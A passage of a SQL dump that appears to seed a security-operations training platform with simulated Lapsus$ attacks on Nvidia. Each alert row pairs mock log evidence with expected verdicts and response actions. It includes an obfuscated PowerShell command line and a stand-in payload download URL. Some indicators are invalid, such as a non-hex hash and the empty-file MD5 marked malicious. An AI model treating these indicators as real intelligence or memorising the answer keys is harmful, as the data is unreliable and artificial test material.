4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:43:21Z\\\",\\\"event_id\\\":\\\"EXF12345\\\",\\\"source_ip\\\":\\\"192.168.45.23\\\",\\\"destination_ip\\\":\\\"185.199.108.153\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"customer_data_backup.zip\\\",\\\"file_hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"exfiltrate\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":52428800}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(903, 'Supply Chain Trust Implications', 'high', 'Threat intelligence reports', 'The breach\'s aftermath highlighted vulnerabilities in supply chain trust, emphasizing the need for enhanced security measures in identity services. Post-exfiltration analysis indicates potential compromise of identity-as-a-service providers.', 'Post-Exfiltration Analysis', 'T1195.002 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:22:37Z\",\"event_id\":\"evt-1006\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.23\",\"user\":\"john_doe\",\"involved_hash\":\"a3f5e8c9b1d4e6f89b7c2a4d5e8f3c1b\",\"filename\":\"idp_service_vuln.exe\",\"action\":\"file_exfiltration\",\"status\":\"success\",\"additional_info\":{\"exfiltrated_file_path\":\"/opt/idp_service/idp_service_vuln.exe\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}}', '2026-01-15 00:59:58', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activity in recent supply chain attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a3f5e8c9b1d4e6f89b7c2a4d5e8f3c1b\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious file used in identity service breaches.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"idp_service_vuln.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"File identified as part of the attack vector targeting identity providers.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account, potential victim of credential theft.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.583Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:22:37Z\\\",\\\"event_id\\\":\\\"evt-1006\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"user\\\":\\\"john_doe\\\",\\\"involved_hash\\\":\\\"a3f5e8c9b1d4e6f89b7c2a4d5e8f3c1b\\\",\\\"filename\\\":\\\"idp_service_vuln.exe\\\",\\\"action\\\":\\\"file_exfiltration\\\",\\\"status\\\":\\\"success\\\",\\\"additional_info\\\":{\\\"exfiltrated_file_path\\\":\\\"/opt/idp_service/idp_service_vuln.exe\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:22.583Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:22:37Z\\\",\\\"event_id\\\":\\\"evt-1006\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"user\\\":\\\"john_doe\\\",\\\"involved_hash\\\":\\\"a3f5e8c9b1d4e6f89b7c2a4d5e8f3c1b\\\",\\\"filename\\\":\\\"idp_service_vuln.exe\\\",\\\"action\\\":\\\"file_exfiltration\\\",\\\"status\\\":\\\"success\\\",\\\"additional_info\\\":{\\\"exfiltrated_file_path\\\":\\\"/opt/idp_service/idp_service_vuln.exe\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:22.583Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:22:37Z\\\",\\\"event_id\\\":\\\"evt-1006\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"user\\\":\\\"john_doe\\\",\\\"involved_hash\\\":\\\"a3f5e8c9b1d4e6f89b7c2a4d5e8f3c1b\\\",\\\"filename\\\":\\\"idp_service_vuln.exe\\\",\\\"action\\\":\\\"file_exfiltration\\\",\\\"status\\\":\\\"success\\\",\\\"additional_info\\\":{\\\"exfiltrated_file_path\\\":\\\"/opt/idp_service/idp_service_vuln.exe\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:22.583Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:22:37Z\\\",\\\"event_id\\\":\\\"evt-1006\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"user\\\":\\\"john_doe\\\",\\\"involved_hash\\\":\\\"a3f5e8c9b1d4e6f89b7c2a4d5e8f3c1b\\\",\\\"filename\\\":\\\"idp_service_vuln.exe\\\",\\\"action\\\":\\\"file_exfiltration\\\",\\\"status\\\":\\\"success\\\",\\\"additional_info\\\":{\\\"exfiltrated_file_path\\\":\\\"/opt/idp_service/idp_service_vuln.exe\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:22.583Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:22:37Z\\\",\\\"event_id\\\":\\\"evt-1006\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"user\\\":\\\"john_doe\\\",\\\"involved_hash\\\":\\\"a3f5e8c9b1d4e6f89b7c2a4d5e8f3c1b\\\",\\\"filename\\\":\\\"idp_service_vuln.exe\\\",\\\"action\\\":\\\"file_exfiltration\\\",\\\"status\\\":\\\"success\\\",\\\"additional_info\\\":{\\\"exfiltrated_file_path\\\":\\\"/opt/idp_service/idp_service_vuln.exe\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(904, 'Initial Network Breach via Phishing', 'high', 'Email gateway logs', 'Lapsus$ initiated a phishing campaign targeting Nvidia employees. An email containing a malicious link was sent to multiple employees, resulting in credential harvesting.', 'Phishing', 'T1566.001 - Spear Phishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T09:32:45Z\",\"email\":{\"source_ip\":\"185.92.220.75\",\"destination_ip\":\"10.1.1.25\",\"sender\":\"support@nvidiacorp-help.com\",\"recipient\":\"john.doe@nvidia.com\",\"subject\":\"Important Security Update Required\",\"attachment\":\"SecurityUpdate.exe\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"url\":\"http://nvidiacorp-security.com/update\",\"url_status\":\"malicious\"},\"user\":{\"username\":\"john.doe\",\"action\":\"clicked_link\"}}', '2026-01-15 01:00:53', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known phishing campaign IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"support@nvidiacorp-help.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Spoofed domain\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"john.doe@nvidia.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate employee email\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Malicious executable hash\"}},{\"id\":\"artifact_6\",\"type\":\"url\",\"value\":\"http://nvidiacorp-security.com/update\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Blacklist\",\"verdict\":\"malicious\",\"details\":\"Phishing URL\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Network Breach via Phishing\",\"date\":\"2026-02-01T20:32:22.585Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(905, 'Malware Deployment for Credential Harvesting', 'high', 'Endpoint detection systems', 'Using harvested credentials, Lapsus$ deploys malware to escalate privileges and harvest additional credentials.', 'Malware', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:32:45Z\",\"event_id\":\"EVT-20231020-001\",\"source_ip\":\"185.143.223.11\",\"destination_ip\":\"192.168.1.15\",\"username\":\"john_doe\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"credential_harvester.exe\",\"action\":\"File executed\",\"outcome\":\"Successful execution\",\"device\":\"DESKTOP-5G6H7J8\",\"os\":\"Windows 10 Pro\",\"process_id\":4321}', '2026-01-15 01:00:55', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.143.223.11\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lapsus$ group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal company IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with credential harvesting malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"credential_harvester.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint\",\"verdict\":\"suspicious\",\"details\":\"Unusual file detected in execution logs.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(906, 'Establish Persistence with Backdoor', 'high', 'Network traffic analysis', 'The alert indicates that a backdoor was installed on a critical system within Nvidia\'s network, allowing the attacker to maintain unauthorized access. This is the third step in an ongoing operation to ensure persistent access despite detection attempts.', 'Backdoor', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:45:30Z\",\"source_ip\":\"192.168.1.102\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"TCP\",\"destination_port\":443,\"filename\":\"nvidia_persistence_service.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"jdoe\",\"action\":\"File Download\",\"malware_name\":\"APT29 Backdoor\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"url\":\"http://malicious.example.com/nvidia_persistence_service.exe\"}', '2026-01-15 01:00:55', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in suspicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"public\",\"verdict\":\"malicious\",\"details\":\"Associated with known APT activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Identified as APT29 Backdoor.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"nvidia_persistence_service.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Unexpected file name associated with APT activity.\"}},{\"id\":\"artifact_5\",\"type\":\"url\",\"value\":\"http://malicious.example.com/nvidia_persistence_service.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"PhishTank\",\"verdict\":\"malicious\",\"details\":\"URL hosting malicious payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(907, 'Lateral Movement Through Network', 'high', 'Internal network monitoring', 'An unauthorized lateral movement was detected in the network. The attacker, identified as part of the Lapsus$ group, exploited vulnerabilities to gain access to systems housing Nvidia\'s sensitive data stores. The attack originated from an external IP and moved laterally through several internal IPs, indicating a sophisticated breach.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:32:45Z\",\"event_type\":\"authentication_attempt\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"filename\":\"credentials_dump.exe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"lateral_movement\",\"status\":\"failed_attempt\",\"network_segment\":\"internal\",\"alerts\":[\"Unauthorized access attempt detected\",\"Potential lateral movement\"]}', '2026-01-15 01:00:55', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Mapping\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"credentials_dump.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Known malware used for credential dumping\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hash Lookup Service\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Lapsus$ operations\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(908, 'Data Exfiltration of 1TB Proprietary Data', 'critical', 'Data loss prevention systems', 'With access to critical data, Lapsus$ begins exfiltrating 1TB of proprietary information, including GPU drivers and firmware. The data exfiltration was detected by monitoring anomalous outbound traffic from an internal server to a known malicious IP address.', 'Data Exfiltration', 'T1020: Automated Exfiltration', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_type\":\"DATA_EXFILTRATION\",\"source_ip\":\"10.0.3.15\",\"destination_ip\":\"185.143.221.36\",\"data_volume\":\"1TB\",\"protocol\":\"HTTPS\",\"user\":\"jdoe\",\"process\":\"exfiltrate.exe\",\"hash\":\"a7b8c9d0e123f4567890ab1c2de3f4567g89h0123456789abcde123f4567abcd\",\"filename\":\"Nvidia_GPU_Drivers.zip\",\"alert_id\":\"DXF-20231012-001\"}', '2026-01-15 01:00:55', '2026-02-16 17:55:26', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.3.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.143.221.36\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lapsus$ group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a7b8c9d0e123f4567890ab1c2de3f4567g89h0123456789abcde123f4567abcd\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_db\",\"verdict\":\"malicious\",\"details\":\"Hash associated with data exfiltration tools.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Nvidia_GPU_Drivers.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Unusual file transfer detected.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"User credentials potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.590Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"DATA_EXFILTRATION\\\",\\\"source_ip\\\":\\\"10.0.3.15\\\",\\\"destination_ip\\\":\\\"185.143.221.36\\\",\\\"data_volume\\\":\\\"1TB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"process\\\":\\\"exfiltrate.exe\\\",\\\"hash\\\":\\\"a7b8c9d0e123f4567890ab1c2de3f4567g89h0123456789abcde123f4567abcd\\\",\\\"filename\\\":\\\"Nvidia_GPU_Drivers.zip\\\",\\\"alert_id\\\":\\\"DXF-20231012-001\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.590Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"DATA_EXFILTRATION\\\",\\\"source_ip\\\":\\\"10.0.3.15\\\",\\\"destination_ip\\\":\\\"185.143.221.36\\\",\\\"data_volume\\\":\\\"1TB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"process\\\":\\\"exfiltrate.exe\\\",\\\"hash\\\":\\\"a7b8c9d0e123f4567890ab1c2de3f4567g89h0123456789abcde123f4567abcd\\\",\\\"filename\\\":\\\"Nvidia_GPU_Drivers.zip\\\",\\\"alert_id\\\":\\\"DXF-20231012-001\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.590Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"DATA_EXFILTRATION\\\",\\\"source_ip\\\":\\\"10.0.3.15\\\",\\\"destination_ip\\\":\\\"185.143.221.36\\\",\\\"data_volume\\\":\\\"1TB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"process\\\":\\\"exfiltrate.exe\\\",\\\"hash\\\":\\\"a7b8c9d0e123f4567890ab1c2de3f4567g89h0123456789abcde123f4567abcd\\\",\\\"filename\\\":\\\"Nvidia_GPU_Drivers.zip\\\",\\\"alert_id\\\":\\\"DXF-20231012-001\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.590Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"DATA_EXFILTRATION\\\",\\\"source_ip\\\":\\\"10.0.3.15\\\",\\\"destination_ip\\\":\\\"185.143.221.36\\\",\\\"data_volume\\\":\\\"1TB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"process\\\":\\\"exfiltrate.exe\\\",\\\"hash\\\":\\\"a7b8c9d0e123f4567890ab1c2de3f4567g89h0123456789abcde123f4567abcd\\\",\\\"filename\\\":\\\"Nvidia_GPU_Drivers.zip\\\",\\\"alert_id\\\":\\\"DXF-20231012-001\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.590Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"DATA_EXFILTRATION\\\",\\\"source_ip\\\":\\\"10.0.3.15\\\",\\\"destination_ip\\\":\\\"185.143.221.36\\\",\\\"data_volume\\\":\\\"1TB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"process\\\":\\\"exfiltrate.exe\\\",\\\"hash\\\":\\\"a7b8c9d0e123f4567890ab1c2de3f4567g89h0123456789abcde123f4567abcd\\\",\\\"filename\\\":\\\"Nvidia_GPU_Drivers.zip\\\",\\\"alert_id\\\":\\\"DXF-20231012-001\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(909, 'Extortion via Demands for Open-Source Drivers', 'high', 'Public forums and social media', 'Lapsus$ has publicly demanded Nvidia to open-source their drivers, leveraging social media to apply pressure. The group has released sensitive internal documents and threatened further leaks if demands are not met.', 'Extortion', 'T1486 - Data Encrypted for Impact', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"10.0.0.5\",\"user\":\"lapsus$member\",\"action\":\"post\",\"platform\":\"Twitter\",\"content\":\"Nvidia, open-source your drivers or face more leaks. #OpenSourceDrivers\",\"related_hashes\":[\"e99a18c428cb38d5f260853678922e03\",\"d1f2e6f1c2b8a3c4d5e6f7b8c2d1e3a4\"],\"related_files\":[\"NVIDIA_Internal_Document1.pdf\",\"NVIDIA_Internal_Document2.pdf\"],\"related_email\":\"contact@lapsus$.com\"}', '2026-01-15 01:00:55', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lapsus$ operations.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash related to potentially malicious document.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"contact@lapsus$.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Source Intelligence\",\"verdict\":\"malicious\",\"details\":\"Email used for extortion 